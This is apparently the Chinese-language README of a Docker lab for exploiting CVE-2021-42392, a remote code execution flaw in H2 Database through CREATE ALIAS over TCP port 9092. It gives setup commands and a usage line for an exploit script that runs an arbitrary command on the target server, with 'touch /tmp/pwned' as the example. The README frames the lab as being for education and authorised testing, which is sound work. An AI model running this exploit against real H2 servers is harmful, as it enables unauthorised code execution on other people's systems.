本仓库提供了一个最小且可控的环境,用于使用 CREATE ALIAS 特性测试 H2数据库远程代码执行漏洞 (CVE-2021-42392)。与许多演示不同,此利用直接针对 H2 TCP 服务(通常在端口 9092),而不依赖 H2 Web 控制台。
🛑 仅用于教育和测试目的。请勿在您不拥有或未经明确许可的系统上使用。
CVE-2021-42392 是 H2 Database 2.0.206 之前版本中的一个严重漏洞,如果数据库通过 TCP 或 Web 控制台暴露,则允许通过 CREATE ALIAS 远程执行代码。
该项目包含:
2.0.202 的有漏洞的 H2 数据库服务器jaydebeapi 和 JPype 的 Python 利用脚本使用 Docker:
如果在 Docker 外部运行利用脚本:
git clone https://github.com/Be-Innova/CVE-2021-42392-exploit-lab
cd h2-cve-2021-42392-poc
docker compose build
docker compose up -d
docker compose exec client bash
python3 h2_exploit.py --url jdbc:h2:tcp://h2-vulnerable\:9092/~/test --cmd "touch /tmp/pwned" --jar /jars/h2.jar
python3 h2_exploit.py --url <jdbc-url> --cmd "<command>" --jar "path-to-jar"
参数:
--url:易受攻击的 H2 实例的 JDBC URL(例如 jdbc:h2:tcp://192.168.1.100\:9092/~/test)
--cmd:要在目标服务器上执行的命令
--jar:H2 驱动程序 JAR 的可选路径(默认:/jars/h2.jar)
9092 端口打开javac 编译器此代码按原样提供,仅用于隔离环境中的教育和道德渗透测试。请勿在未授权的系统上使用。作者对任何滥用行为概不负责。